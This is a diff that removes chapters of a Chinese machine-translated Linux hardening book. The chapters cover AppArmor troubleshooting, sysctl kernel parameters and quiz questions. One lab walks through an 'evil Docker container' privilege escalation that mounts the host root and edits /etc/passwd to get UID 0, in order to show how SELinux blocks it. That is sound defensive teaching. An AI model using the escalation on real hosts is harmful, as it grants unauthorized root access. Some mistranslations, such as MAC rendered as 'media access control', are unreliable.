-donnie@ubuntu5:/etc/apparmor.d$ -``` - -要使用`aa-enforce`,首先需要指定要保护的进程的可执行文件的路径。(幸运的是,您通常甚至不需要查找,因为路径名通常是配置文件文件名的一部分。)命令的最后一部分是配置文件的名称。请注意,您需要重新启动 Samba 守护程序,以使此 AppArmor 保护生效。 - -将配置文件置于其他模式也同样容易。你所要做的就是用你需要使用的模式的实用程序替换`aa-enforce`实用程序。以下是其他模式的实用程序图表: - -| **命令** | **解释** | -| `aa-audit` | 审计模式与强制模式相同,只是允许的操作和被阻止的操作被记录。(强制模式仅记录已被阻止的操作。) | -| `aa-disable` | 这将完全禁用配置文件。 | -| `aa-complain` | 这会将个人资料置于投诉模式。 | - -好吧,我们继续前进。现在,您已经了解了基本的 AppArmor 命令。接下来,我们将看看如何解决明显的问题。 - -# 常见问题的故障排除 - -过去几天我一直在这里绞尽脑汁,试图想出一个好的故障排除场景。事实证明我不需要。Ubuntu 的人给了我一个很好的场景,以一个有问题的 Samba 配置文件的形式放在银盘子里。现在 Ubuntu 18.04 已经发布,这个传奇有两个部分。第一部分适用于 Ubuntu 16.04,第二部分适用于 Ubuntu 18.04。 - -# 一个 AppArmor 配置文件的故障排除–Ubuntu 16.04 - -正如您刚刚看到的,我使用`aa-enforce`将两个与 Samba 相关的概要文件置于强制模式。但是,当我尝试重启 Samba 以使配置文件生效时,请注意现在发生了什么: - -```sh -donnie@ubuntu3:/etc/apparmor.d$ sudo systemctl restart smbd -Job for smbd.service failed because the control process exited with error code. See "systemctl status smbd.service" and "journalctl -xe" for details. -donnie@ubuntu3:/etc/apparmor.d$ -``` - -好吧,那不好。查看`smbd`服务的状态,我看到以下内容: - -```sh -donnie@ubuntu3:/etc/apparmor.d$ sudo systemctl status smbd -● smbd.service - LSB: start Samba SMB/CIFS daemon (smbd) - Loaded: loaded (/etc/init.d/smbd; bad; vendor preset: enabled) - Active: failed (Result: exit-code) since Tue 2017-12-05 14:56:35 EST; 13s ago - Docs: man:systemd-sysv-generator(8) - Process: 31160 ExecStop=/etc/init.d/smbd stop (code=exited, status=0/SUCCESS) - Process: 31171 ExecStart=/etc/init.d/smbd start (code=exited, status=1/FAILURE) -Dec 05 14:56:35 ubuntu3 systemd[1]: Starting LSB: start Samba SMB/CIFS daemon (smbd)... -Dec 05 14:56:35 ubuntu3 smbd[31171]: * Starting SMB/CIFS daemon smbd -Dec 05 14:56:35 ubuntu3 smbd[31171]: ...fail! -. . . -``` - -这里需要注意的重要事情是`fail`这个词出现的所有地方。 - -原来的错误消息说要用`journalctl -xe`来查看日志消息。但是`journalctl`有这种在屏幕右边缘截断输出行的坏习惯。因此,我将使用`less`或`tail`查看常规的`/var/log/syslog`日志文件: - -```sh -Dec 5 20:09:10 ubuntu3 smbd[14599]: * Starting SMB/CIFS daemon smbd -Dec 5 20:09:10 ubuntu3 kernel: [174226.392671] audit: type=1400 audit(1512522550.765:510): apparmor="DENIED" operation="mknod" profile="/usr/sbin/smbd" name="/run/samba/msg. -lock/14612" pid=14612 comm="smbd" requested_mask="c" denied_mask="c" fsuid=0 ouid=0 -Dec 5 20:09:10 ubuntu3 smbd[14599]: ...fail! -Dec 5 20:09:10 ubuntu3 systemd[1]: smbd.service: Control process exited, code=exited status=1 -Dec 5 20:09:10 ubuntu3 systemd[1]: Failed to start LSB: start Samba SMB/CIFS daemon (smbd). -Dec 5 20:09:10 ubuntu3 systemd[1]: smbd.service: Unit entered failed state. -Dec 5 20:09:10 ubuntu3 systemd[1]: smbd.service: Failed with result 'exit-code'. -``` - -所以,我们看到`apparmor=DENIED`。显然,Samba 试图做一些概要文件不允许的事情。Samba 需要将临时文件写入`/run/samba/msg.lock`目录,但是不允许。我猜侧写缺少允许这种情况发生的规则。 - -但是,即使这个日志文件条目根本没有给我任何线索,我也可以使用多年来一直很好地为我服务的故障排除技术来作弊。也就是说,我可以将日志文件中的错误消息复制并粘贴到我最喜欢的搜索引擎中。几乎每次我这样做的时候,我都发现在我之前的其他人已经有了同样的问题: - -![](img/920da51f-b76e-4b9b-8d44-3e0b4fdfeac2.png) - -好吧,我没有粘贴整个错误消息,但我确实粘贴了足够多的内容,以便 DuckDuckGo 使用。瞧,它起作用了: - -![](img/41b33905-c3b6-4388-8b2e-ca4828f4144b.png) - -嗯,看起来我的个人档案可能遗漏了一个重要的行。所以,我将打开`usr.sbin.smbd`文件,并将这一行放在规则集的末尾: - -```sh -/run/samba/** rw, -``` - -该行将允许对`/run/samba`目录中的所有内容进行读写访问。完成编辑后,我需要重新加载这个配置文件,因为它已经加载了`aa-enforce`。为此,我将使用`apparmor_parser`实用程序: - -```sh -donnie@ubuntu3:/etc/apparmor.d$ sudo apparmor_parser -r usr.sbin.smbd -donnie@ubuntu3:/etc/apparmor.d$ -``` - -您只需要使用`-r`选项重新加载并列出配置文件的名称。现在,让我们尝试重启 Samba: - -```sh -donnie@ubuntu3:/etc/apparmor.d$ sudo systemctl restart smbd - -donnie@ubuntu3:/etc/apparmor.d$ sudo systemctl status smbd -● smbd.service - LSB: start Samba SMB/CIFS daemon (smbd) - Loaded: loaded (/etc/init.d/smbd; bad; vendor preset: enabled) - Active: active (running) since Wed 2017-12-06 13:31:32 EST; 3min 6s ago - Docs: man:systemd-sysv-generator(8) - Process: 17317 ExecStop=/etc/init.d/smbd stop (code=exited, status=0/SUCCESS) - Process: 16474 ExecReload=/etc/init.d/smbd reload (code=exited, status=0/SUCCESS) - Process: 17326 ExecStart=/etc/init.d/smbd start (code=exited, status=0/SUCCESS) - Tasks: 3 - Memory: 9.3M - CPU: 594ms - CGroup: /system.slice/smbd.service - ├─17342 /usr/sbin/smbd -D - ├─17343 /usr/sbin/smbd -D - └─17345 /usr/sbin/smbd -D - -Dec 06 13:31:28 ubuntu3 systemd[1]: Stopped LSB: start Samba SMB/CIFS daemon (smbd). -Dec 06 13:31:28 ubuntu3 systemd[1]: Starting LSB: start Samba SMB/CIFS daemon (smbd)... -Dec 06 13:31:32 ubuntu3 smbd[17326]: * Starting SMB/CIFS daemon smbd -Dec 06 13:31:32 ubuntu3 smbd[17326]: ...done. -Dec 06 13:31:32 ubuntu3 systemd[1]: Started LSB: start Samba SMB/CIFS daemon (smbd). -donnie@ubuntu3:/etc/apparmor.d$ -``` - -而且有效!这两个桑巴配置文件处于强制模式,桑巴最终可以正常启动。 - -奇怪的是,我在 Ubuntu 16.04 和 Ubuntu 17.10 上都遇到了同样的问题。所以,这个 bug 已经存在很长时间了。 - -# 一个 AppArmor 配置文件的故障排除–Ubuntu 18.04 - -好吧,你会欣喜若狂地知道 Ubuntu 的人终于解决了 Ubuntu 16.04 中 Samba 配置文件的那个长期问题。但是当你知道他们用另外两个问题代替了那个问题时,你不会那么欣喜若狂。 - -我在我的 Ubuntu 18.04 虚拟机上安装了 Samba 和额外的 AppArmor 配置文件,然后将这两个 Samba 配置文件设置为强制模式,与我已经在 Ubuntu 16.04 中向您展示的方式相同。当我试图重启 Samba 时,重启失败了。于是,我查看了`/var/log/syslog`文件,发现了以下两条消息: - -```sh -Oct 15 19:22:05 ubuntu-ufw kernel: [ 2297.955842] audit: type=1400 audit(1571181725.419:74): apparmor="DENIED" operation="capable" profile="/usr/sbin/smbd" pid=15561 comm="smbd" capability=12 capname="net_admin" - -Oct 15 19:22:05 ubuntu-ufw kernel: [ 2297.960193] audit: type=1400 audit(1571181725.427:75): apparmor="DENIED" operation="sendmsg" profile="/usr/sbin/smbd" name="/run/systemd/notify" pid=15561 comm="smbd" requested_mask="w" denied_mask="w" fsuid=0 ouid=0 -``` - -现在我们知道如何阅读 AppArmor 错误消息,这很容易理解。看起来我们需要允许 SMBD 服务拥有`net_admin`功能,以便它可以正确地访问网络。而且,看起来我们还需要添加一个规则来允许 SMBD 写入`/run/systemd/notify`套接字文件。所以,让我们编辑`/etc/apparmor.d/usr.sbin.smbd`文件并添加两个缺失的行。 - -首先,在包含所有`capability`行的小节中,我将在底部添加这一行: - -```sh -capability net_admin, -``` - -然后,在规则列表的底部,就在`/var/spool/samba/** rw,`行下面,我会添加这一行: - -```sh -/run/systemd/notify rw, -``` - -现在只需要重新加载策略并重新启动 SMBD 服务,就像我们对 Ubuntu 16.04 所做的那样。 - -# 动手实验–对设备配置文件进行故障排除 - -在您的 Ubuntu 18.04 虚拟机上执行本实验。执行以下故障排除步骤: - -1. 安装 AppArmor 实用程序和额外的配置文件: - -```sh -sudo apt install apparmor-utils apparmor-profiles apparmor-profiles-extra -``` - -2. 安装 Samba 并验证它是否正在运行: - -```sh -sudo apt install samba -sudo systemctl status smbd -sudo systemctl status nmbd -``` - -3. 设置前面提到的两个 Samba 策略来强制模式,并尝试重新启动 Samba: - -```sh -cd /etc/apparmor.d -sudo aa-enforce /usr/sbin/smbd usr.sbin.smbd -sudo aa-enforce /usr/sbin/nmbd usr.sbin.nmbd -sudo systemctl restart smbd -``` - -请注意,Samba 应该无法重新启动。(需要相当长的时间才能最终出错,所以要有耐心。) - -4. 查看`/var/log/syslog`文件,看能否发现问题。 -5. 编辑`/etc/apparmor.d/usr.sbin.smbd`文件。在`capability`节中,添加以下内容: - -```sh -capability net_admin, -``` - -6. 在规则部分的底部,在`/var/spool/samba/** rw`行下,添加以下行: - -```sh -/run/systemd/notify rw, -``` - -7. 保存文件并重新加载策略: - -```sh -sudo apparmor_parser -r usr.sbin.smbd -``` - -8. 像以前一样,尝试重新启动 Samba 服务,并验证它是否正确启动: - -```sh -sudo systemctl restart smbd -sudo systemctl status smbd -``` - -9. 实验室结束。 - -好了,你已经探索了故障排除的基本知识。这是一个很好的知识,尤其是当您的组织需要部署自己的定制概要文件时,这可能会导致同样的错误。 - -# 利用带有邪恶 Docker 容器的系统 - -你可能认为容器有点像虚拟机,你可能有一部分是正确的。不同的是,虚拟机运行一个完整的独立操作系统,而容器不运行。相反,容器带有客户操作系统的包管理和库,但它使用主机操作系统的内核资源。这使得容器更加轻便。因此,您可以在服务器上打包比虚拟机更多的容器,这有助于降低硬件和能源成本。集装箱已经存在了好几年,但是直到 Docker 出现,它们才变得如此受欢迎。 - -但是容器如此轻量级的原因——它们使用主机内核资源的事实——也可能导致一些有趣的安全问题。使用某种形式的 MAC 是帮助缓解这些问题的一个方法。 - -一个问题是,要运行 Docker,一个人需要拥有适当的`sudo`特权,或者是`docker`组的成员。无论哪种方式,任何登录到容器的人都将处于该容器的根命令提示符下。通过创建装载主机根文件系统的容器,非特权用户可以完全控制主机系统。 - -# 动手实验室——创造一个邪恶的 Docker 容器 - -为了演示,我将使用 CentOS 7 虚拟机来展示 SELinux 如何帮助保护您。(我之所以用 CentOS 7,是因为 RHEL 8/CentOS 8 有一种新型的 Docker 系统,工作原理不同。)此外,您需要从虚拟机的本地控制台执行此操作,因为根用户将被禁止通过 SSH 登录(稍后您会明白我的意思): - -1. 在您的 CentOS 7 虚拟机上,安装 Docker 并启用守护程序: - -```sh -sudo yum install docker -sudo systemctl enable --now docker -``` - -2. 创建`docker`组。 - -```sh -sudo groupadd docker -``` - -3. 为我十几岁的印花布小猫凯特琳创建一个用户帐户,同时将她添加到`docker`组: - -```sh -sudo useradd -G docker katelyn -sudo passwd katelyn -``` - -4. 注销您自己的用户帐户,然后以 Katelyn 的身份重新登录。 -5. 让 Katelyn 创建一个 Debian 容器,将主机的`/`分区装载到`/homeroot mountpoint`中,并为根用户打开一个 Bash shell 会话: - -```sh -docker run -v /:/homeroot -it debian bash -``` - -Note how Katelyn has done this without having to use any `sudo` privileges. Also note that there are no blank spaces in the `/:/homeroot` part. - -6. 目标是让 Katelyn 成为主机上的根用户。为此,她需要编辑`/etc/passwd`文件,将自己的用户标识更改为`0`。为此,她需要安装一个文本编辑器。(Katelyn 更喜欢 vim,但是如果你真的想的话可以用 nano。)当仍在 Debian 容器中时,运行以下命令: - -```sh -apt update -apt install vim -``` - -7. 让 Katelyn `cd`进入主机的`/etc`目录,并尝试在文本编辑器中打开`passwd`文件: - -```sh -cd /homeroot/etc -vim passwd -``` - -她做不到,因为 SELinux 阻止了它。 - -8. 键入`exit`退出容器。 -9. 从 Katelyn 的帐户注销,然后重新登录到自己的帐户。 -10. 将 SELinux 置于许可模式: - -```sh -sudo setenforce 0 -``` - -11. 从您自己的帐户注销,然后以 Katelyn 的身份重新登录。 -12. 重复*步骤* *5* 至 *7* 。这一次,凯特琳将能够在她的文本编辑器中打开`/etc/passwd`文件。 -13. 在`passwd`文件中,让 Katelyn 找到她自己用户帐户的行。让她将自己的用户标识号更改为`0`。该行现在应该如下所示: - -```sh -katelyn:x:0:1002::/home/katelyn:/bin/bash -``` - -14. 保存文件,输入`exit`让凯特琳退出容器。让 Katelyn 注销虚拟机,然后重新登录。这一次,您将看到她已成功登录到根用户 shell。 -15. 实验室结束 - -好了,您刚刚看到了 Docker 的一个安全弱点,以及 SELinux 如何保护您免受其害。由于 Katelyn 没有`sudo`特权,她不能将 SELinux 置于许可模式,这阻止了她做任何 Docker 恶作剧。在 CentOS 8 上,情况甚至更好。即使 SELinux 处于许可模式,CentOS 8 仍然不允许您从容器中编辑`passwd`文件。所以,显然有一个额外的保护机制,但我不确定它是什么。RHEL 8 及其后代使用的是红帽开发的新版 Docker,所以我猜测它的安全性比原来的 Docker 要好得多。 - -所以现在你想知道 Ubuntu 上的 AppArmor 是否能帮助我们。默认情况下不会,因为 Docker 守护程序没有预构建的配置文件。当你在 Ubuntu 机器上运行 Docker 时,它会自动为`/tmpfs`目录中的容器创建一个 Docker 概要文件,但它真的没有做太多。我在启用了 AppArmor 的 Ubuntu 18.04 VM 上测试了这个过程,Katelyn 能够很好地完成她的邪恶行为。 - -在本章的前面,我说过我不会说我更喜欢这两个 MAC 系统中的哪一个。如果你现在还没想明白,我绝对是 SELinux 的忠实粉丝,因为它提供了比 AppArmor 更好的开箱即用保护。如果您选择使用 Ubuntu,那么在您的开发团队部署新应用的任何时候,都要计划编写一个新的 AppArmor 策略。 - -我相信这就结束了我们对 MAC 的讨论。 - -# 摘要 - -在这一章中,我们研究了媒体访问控制的基本原理,并比较了两种不同的媒体访问控制系统。我们看到了 SELinux 和 AppArmor 是什么,以及它们如何帮助保护您的系统免受恶意行为者的攻击。然后,我们看了如何使用它们的基本知识以及如何排除它们的基本知识。我们也看到,尽管他们两个注定要做同样的工作,但他们的工作方式却大相径庭。我们通过向您展示一个 SELinux 如何保护您免受邪恶的 Docker 容器攻击的实际例子来结束这一切。 - -无论您是在使用 AppArmor 还是 SELinux,在投入生产之前,您总是希望在抱怨或许可模式下彻底测试一个新系统。确保你想保护的东西得到保护,同时你想允许的东西得到允许。将机器投入生产后,不要以为每次看到策略违规时,就可以自动更改策略设置。可能是你的 MAC 设置没有问题,MAC 只是在保护你免受坏人的攻击。 - -这两个主题的内容远远超出了我们的讨论范围。不过,希望我已经给了你足够的东西来刺激你的食欲,帮助你完成日常工作。 - -在下一章中,我们将研究更多用于加固内核和隔离进程的技术。到时候见。 - -# 问题 - -1. 以下哪一项代表了媒体访问控制原则? - 答:你可以根据需要设置自己文件和目录的权限。 - B .您可以允许任何系统进程访问您需要它访问的任何内容。 - C .系统进程只能访问 MAC 策略允许它们访问的任何资源。 - D. MAC 会允许访问,即使 DAC 不允许。 -2. SELinux 是如何工作的? - 答:它在每个系统对象上放置一个标签,并根据 SELinux 策略对标签的描述来允许或拒绝访问。 - B .它只是查阅每个系统进程的配置文件,看看进程被允许做什么。 - C .它使用管理员用`chattr`实用程序设置的扩展属性。 - D .它允许每个用户设置自己的苹果电脑。 -3. 您会使用以下哪个实用程序来修复不正确的 SELinux 安全上下文? - a .`chattr`T5】b .`chcontext`T6】c .`restorecon`T7】d .`setsebool` -4. 对于红帽型服务器的日常管理,管理员最关心安全上下文的以下哪些方面? - A .用户 - B .角色 - C .类型 - D .灵敏度 - -5. 您已经设置了一个特定守护程序通常不会访问的新目录,并且您希望永久允许该守护程序访问该目录。您会使用以下哪个实用程序来实现这一点? - a .`chcon`T5】b .`restorecon`T6】c .`setsebool`T7】d .`semanage` -6. 以下哪一项构成了 SELinux 和 AppArmor 之间的区别? - A .使用 SELinux,您必须为需要控制的每个系统进程安装或创建策略配置文件。 - B .使用 AppArmor,您必须为需要控制的每个系统进程安装或创建策略配置文件。 - c . apparemor 的工作原理是为每个系统对象应用一个标签,而 SELinux 的工作原理是简单地查阅每个系统对象的配置文件。 - D .为 SELinux 编写策略概要文件要容易得多,因为语言更容易理解。 -7. 哪个`/etc/apparmor.d`子目录包含有预定义变量的文件? - a .`tunables` - b .`variables` - c .`var` - d .`functions` -8. 您将使用以下哪个实用程序来启用 AppArmor 策略? - a .`aa-enforce`T5】b .`aa-enable`T6】c .`set-enforce`T7】d .`set-enable` -9. 您已经为一个守护进程启用了一个 AppArmor 策略,但是现在您需要更改该策略。您将使用哪个实用程序来重新加载修改后的策略? - a .`aa-reload`T5】b .`apparmor_reload`T6】c .`aa-restart`T7】d .`apparmor_parser` - -10. 您正在测试一个新的 AppArmor 配置文件,您希望在将服务器投入生产之前找到任何可能的问题。你会用哪种设备模式来测试这个配置文件? - A .许可 - B .强制 - C .检测 - D .投诉 - -# 进一步阅读 - -SELinux: - -* 访问 SELinux 策略文档:[https://www . RedHat . com/sysadmin/access-SELinux-policy-documentation](https://www.redhat.com/sysadmin/accessing-selinux-policy-documentation) -* 使用 SELinux:[https://access . red hat . com/documentation/en-us/red _ hat _ enterprise _ Linux/8/html/使用 _selinux/index](https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/using_selinux/index) -* SELinux 系统管理-第二版:[https://www . packtpub . com/networking-and-servers/SELinux-系统-管理-第二版](https://www.packtpub.com/networking-and-servers/selinux-system-administration-second-edition) -* SELinux 着色书:[https://opensource.com/business/13/11/selinux-policy-guide](https://opensource.com/business/13/11/selinux-policy-guide) - -显示(r): - -* Ubuntu apparmor wiki:https://wiki . Ubuntu . com/apparmor -* 如何创建 AppArmor 配置文件:[https://tutorials . Ubuntu . com/tutorials/begin-AppArmor-profile-development # 0](https://tutorials.ubuntu.com/tutorial/beginning-apparmor-profile-development#0) -* apparemor 综合指南:[https://medium . com/information-and-technology/so-is-apparemor-64d 7ae 211 ed](https://medium.com/information-and-technology/so-what-is-apparmor-64d7ae211ed) \ No newline at end of file diff --git a/docs/master-linux-sec-hard/10.md b/docs/master-linux-sec-hard/10.md deleted file mode 100644 index aa299dcd..00000000 --- a/docs/master-linux-sec-hard/10.md +++ /dev/null @@ -1,1374 +0,0 @@ -# 十、内核加固和进程隔离 - -尽管从设计上来说,Linux 内核已经相当安全了,但是仍然有一些方法可以更好地锁定它。一旦你知道要找什么,这很容易做到。调整内核有助于防止某些网络攻击和某些类型的信息泄露。(但不用担心——你不必重新编译一个全新的内核来利用这一点。) - -通过流程隔离,我们的目标是防止恶意用户执行纵向或横向权限升级。通过将进程相互隔离,我们可以帮助防止有人控制根用户进程或属于其他用户的进程。这两种权限提升都有助于攻击者控制系统或访问敏感信息。 - -在本章中,我们将快速浏览一下`/proc`文件系统,并向您展示如何在其中配置某些参数来帮助增强安全性。然后,我们将转向进程隔离的主题,并讨论各种方法来确保进程保持相互隔离。 - -在本章中,我们将涵盖以下主题: - -* 理解`/proc`文件系统 -* 使用 sysctl 设置内核参数 -* 配置`sysctl.conf`文件 -* 过程隔离概述 -* 对照组 -* 命名空间隔离 -* 内核能力 -* SECCOMP 和系统调用 -* 对 Docker 容器使用进程隔离 - -* 用火牢沙箱 -* 用爽快的沙盒 -* 用 Flatpak 沙盒 - -所以,如果你准备好了,我们将从查看`/proc`文件系统开始。 - -# 理解/proc 文件系统 - -如果你进入任何一个 Linux 发行版的`/proc`目录,四处看看,你会原谅自己认为它没有什么特别的。您将看到文件和目录,因此看起来它可能只是另一个目录。但实际上,它非常特别。它是 Linux 系统上几个不同的伪文件系统之一。(伪这个词的定义是假的,所以你也可以认为它是假的文件系统。) - -如果您将主操作系统驱动器从一台 Linux 机器中取出,并将其作为辅助驱动器安装在另一台机器上,您将在该驱动器上看到一个`/proc`目录,但您在其中看不到任何内容。那是因为`/proc`目录的内容是每次引导 Linux 机器的时候从头开始创建的,然后每次关机的时候就清除掉了。在`/proc`中,你会发现两大类信息: - -* 关于用户模式进程的信息 -* 关于操作系统内核级正在发生什么的信息 - -我们将首先研究用户模式流程。 - -# 查看用户模式流程 - -如果您在`/proc`中使用`ls`命令,您将看到一大堆以数字为名称的目录。以下是我的 CentOS 虚拟机的部分列表: - -```sh -[donnie@localhost proc]$ ls -l -total 0 -dr-xr-xr-x. 9 root root 0 Oct 19 14:23 1 -dr-xr-xr-x. 9 root root 0 Oct 19 14:23 10 -dr-xr-xr-x. 9 root root 0 Oct 19 14:23 11 -dr-xr-xr-x. 9 root root 0 Oct 19 14:23 12 -dr-xr-xr-x. 9 root root 0 Oct 19 14:23 13 -dr-xr-xr-x. 9 root root 0 Oct 19 14:24 1373 -dr-xr-xr-x. 9 root root 0 Oct 19 14:24 145 -dr-xr-xr-x. 9 root root 0 Oct 19 14:23 15 -dr-xr-xr-x. 9 root root 0 Oct 19 14:23 16 -dr-xr-xr-x. 9 root root 0 Oct 19 14:23 17 -. . . -. . . - -``` - -这些编号目录中的每一个对应于用户模式进程的**进程标识** ( **进程标识**)号。在任何 Linux 系统上,PID 1 始终是 init 系统进程,这是启动机器时启动的第一个用户模式进程。 - -On Debian/Ubuntu systems, the name of PID 1 is `init`. On RHEL/CentOS systems, it's called systemd. Both systems run the systemd init system, but the Debian/Ubuntu folk have chosen to retain the old `init` name for PID 1. - -在每个编号的目录中,您将看到各种文件和子目录,其中包含有关特定运行进程的信息。例如,在`1`目录中,您将看到与初始化过程相关的内容。以下是部分列表: - -```sh -[donnie@localhost 1]$ ls -l -ls: cannot read symbolic link 'cwd': Permission denied -ls: cannot read symbolic link 'root': Permission denied -ls: cannot read symbolic link 'exe': Permission denied -total 0 -dr-xr-xr-x. 2 root root 0 Oct 19 14:23 attr --rw-r--r--. 1 root root 0 Oct 19 15:08 autogroup --r--------. 1 root root 0 Oct 19 15:08 auxv --r--r--r--. 1 root root 0 Oct 19 14:23 cgroup ---w-------. 1 root root 0 Oct 19 15:08 clear_refs --r--r--r--. 1 root root 0 Oct 19 14:23 cmdline --rw-r--r--. 1 root root 0 Oct 19 14:23 comm -. . . -. . . - -``` - -如您所见,有一些符号链接,如果没有 root 权限,我们无法访问。当我们使用`sudo`时,我们可以看到符号链接指向哪里: - -```sh -[donnie@localhost 1]$ sudo ls -l -total 0 -dr-xr-xr-x. 2 root root 0 Oct 19 14:23 attr --rw-r--r--. 1 root root 0 Oct 19 15:08 autogroup --r--------. 1 root root 0 Oct 19 15:08 auxv --r--r--r--. 1 root root 0 Oct 19 14:23 cgroup ---w-------. 1 root root 0 Oct 19 15:08 clear_refs --r--r--r--. 1 root root 0 Oct 19 14:23 cmdline --rw-r--r--. 1 root root 0 Oct 19 14:23 comm --rw-r--r--. 1 root root 0 Oct 19 15:08 coredump_filter --r--r--r--. 1 root root 0 Oct 19 15:08 cpuset -lrwxrwxrwx. 1 root root 0 Oct 19 15:08 cwd -> / -. . . -. . . - -``` - -您可以使用`cat`命令查看其中一些项目的内容,但不能查看全部内容。然而,即使您可以查看内容,您也无法理解其中的内容,除非您是操作系统程序员。与其试图直接查看信息,不如使用`top`或`ps`,它们从`/proc`中提取信息并解析,以便人类可以阅读。 - -I'm assuming that most of you are already familiar with `top` and `ps`. For those who aren't, here's the short explanation. - -`ps` provides a static display of what's going on with your machine's processes. There are loads of option switches that can show you different amounts of information. My favorite `ps` command is `ps aux`, which provides a fairly complete set of information about each process. - -`top` provides a dynamic, constantly changing display of the machine's processes. Some option switches are available, but just invoking `top` without any options is usually all you need. - -接下来,让我们看看内核信息。 - -# 查看内核信息 - -在`/proc`的顶层,具有实际名称的文件和目录包含关于 Linux 内核的信息。以下是部分视图: - -```sh -[donnie@localhost proc]$ ls -l -total 0 -. . . -dr-xr-xr-x. 2 root root 0 Oct 19 14:24 acpi -dr-xr-xr-x. 5 root root 0 Oct 19 14:24 asound --r--r--r--. 1 root root 0 Oct 19 14:26 buddyinfo -dr-xr-xr-x. 4 root root 0 Oct 19 14:24 bus --r--r--r--. 1 root root 0 Oct 19 14:23 cgroups --r--r--r--. 1 root root 0 Oct 19 14:23 cmdline --r--r--r--. 1 root root 0 Oct 19 14:26 consoles --r--r--r--. 1 root root 0 Oct 19 14:24 cpuinfo -. . . -``` - -和用户模式的东西一样,你可以使用`cat`来查看一些不同的文件。例如,以下是`cpuinfo`文件的部分输出: - -```sh -[donnie@localhost proc]$ cat cpuinfo -processor : 0 -vendor_id : AuthenticAMD -cpu family : 16 -model : 4 -model name : Quad-Core AMD Opteron(tm) Processor 2380 -stepping : 2 -microcode : 0x1000086 -cpu MHz : 2500.038 -cache size : 512 KB -physical id : 0 -siblings : 1 -core id : 0 -cpu cores : 1 -. . . -``` - -在这里,您可以看到我的 CPU 的类型和速度等级、其缓存大小,以及这个 CentOS 虚拟机仅在主机的八个 CPU 内核之一上运行的事实。(在 Fedora 主机操作系统上执行此操作将显示主机所有八个内核的信息。) - -Yes, you did read that right. I really am using an antique, Opteron-equipped HP workstation from 2009\. I got it from eBay for a very cheap price, and it runs beautifully with the LXDE spin of Fedora. And the OpenSUSE machine that you'll see mentioned in other parts of this book is the exact same model and came from the same vendor. (So, now you know just how cheap I really am.) - -然而,就我们目前的目的而言,我们不需要深入`/proc`中所有事物的本质细节。对我们现在的讨论来说,更重要的是可以在`/proc`内设置的不同参数。例如,在`/proc/sys/net/ipv4`目录中,我们可以看到许多不同的项目,可以通过调整来改变 IPv4 网络性能。以下是部分列表: - -```sh -[donnie@localhost ipv4]$ pwd -/proc/sys/net/ipv4 -[donnie@localhost ipv4]$ ls -l -total 0 --rw-r--r--. 1 root root 0 Oct 19 16:11 cipso_cache_bucket_size --rw-r--r--. 1 root root 0 Oct 19 16:11 cipso_cache_enable --rw-r--r--. 1 root root 0 Oct 19 16:11 cipso_rbm_optfmt --rw-r--r--. 1 root root 0 Oct 19 16:11 cipso_rbm_strictvalid -dr-xr-xr-x. 1 root root 0 Oct 19 14:23 conf --rw-r--r--. 1 root root 0 Oct 19 16:11 fib_multipath_hash_policy --rw-r--r--. 1 root root 0 Oct 19 16:11 fib_multipath_use_neigh --rw-r--r--. 1 root root 0 Oct 19 16:11 fwmark_reflect --rw-r--r--. 1 root root 0 Oct 19 16:11 icmp_echo_ignore_all -. . . -. . . -``` - -我们可以使用`cat`命令来查看这些参数中的每一个,如下所示: - -```sh -[donnie@localhost ipv4]$ cat icmp_echo_ignore_all -0 -[donnie@localhost ipv4]$ -``` - -所以`icmp_echo_ignore_all`参数设置为`0`,表示禁用。如果我要从另一台机器 ping 这台机器,假设防火墙配置为允许,这台机器会响应 ping。如果需要,我们有几种方法可以改变这种情况。其中一些如下: - -* `echo`从命令行将新值输入参数。 -* 从命令行使用`sysctl`实用程序。 -* 配置`/etc/sysctl.conf`文件。 -* 将包含新配置的新`.conf`文件添加到`/etc/sysctl.d`目录中。 -* 从 shell 脚本中运行命令。 - -让我们继续详细了解这些不同的方法。 - -# 使用 sysctl 设置内核参数 - -你会在旧的 Linux 教科书中看到的传统方法是将一个值`echo`转换成一个`/proc`参数。这不能直接与`sudo`一起工作,所以您需要使用`bash -c`命令来强制执行该命令。在这里,您可以看到我正在更改`icmp_echo_ignore_all`参数的值: - -```sh -[donnie@localhost ~]$ sudo bash -c "echo '1' > /proc/sys/net/ipv4/icmp_echo_ignore_all" -[donnie@localhost ~]$ cat /proc/sys/net/ipv4/icmp_echo_ignore_all -1 -[donnie@localhost ~]$ -``` - -将该值设置为`1`,无论防火墙如何配置,该机器现在都将忽略所有 ping 数据包。您这样设置的任何值都是临时的,并且在您重新启动机器时将恢复到其默认设置。 - -在此之后的列表中,下一个是`icmp_echo_ignore_broadcasts`设置,如下所示: - -```sh -[donnie@localhost ipv4]$ cat icmp_echo_ignore_broadcasts -1 -[donnie@localhost ipv4]$ -``` - -默认情况下已经启用了,所以开箱即用,Linux 已经对涉及 ICMP 广播泛洪的**拒绝服务** ( **DoS** )攻击免疫。 - -用 echo 配置`/proc`参数是老帽子,个人不喜欢做。最好用`sysctl`,这是比较现代的做生意方式。它很容易使用,你可以在`sysctl`手册页上读到它的全部内容。 - -要查看所有参数设置的列表,只需执行以下操作: - -```sh -[donnie@localhost ~]$ sudo sysctl -a -abi.vsyscall32 = 1 -crypto.fips_enabled = 1 -debug.exception-trace = 1 -debug.kprobes-optimization = 1 -dev.hpet.max-user-freq = 64 -dev.mac_hid.mouse_button2_keycode = 97 -dev.mac_hid.mouse_button3_keycode = 100 -dev.mac_hid.mouse_button_emulation = 0 -dev.raid.speed_limit_max = 200000 -dev.raid.speed_limit_min = 1000 -dev.scsi.logging_level = 0 -fs.aio-max-nr = 65536 -. . . -. . . -``` - -要设置参数,使用`-w`选项写入新值。诀窍是目录路径中的正斜杠被点代替,你忽略了路径的`/proc/sys`部分。因此,要将`icmp_echo_ignore_all`值更改回`0`,我们将执行以下操作: - -```sh -[donnie@localhost ~]$ sudo sysctl -w net.ipv4.icmp_echo_ignore_all=0 -net.ipv4.icmp_echo_ignore_all = 0 -[donnie@localhost ~]$ -``` - -在这种情况下,更改是永久性的,因为我只是将参数更改回其默认设置。不过,通常情况下,我们这样做的任何更改只会持续到我们重新启动机器。有时,这没关系,但有时,我们可能需要使这些改变永久化。 - -# 配置 sysctl.conf 文件 - -Ubuntu 和 CentOS 的默认配置有一些显著的区别。两者都使用`/etc/sysctl.conf`文件,但是在 CentOS 上,该文件除了一些解释性注释之外没有任何内容。Ubuntu 和 CentOS 在`/usr/lib/sysctl.d/`目录中都有默认设置的文件,但是 CentOS 的文件比 Ubuntu 的多。在 Ubuntu 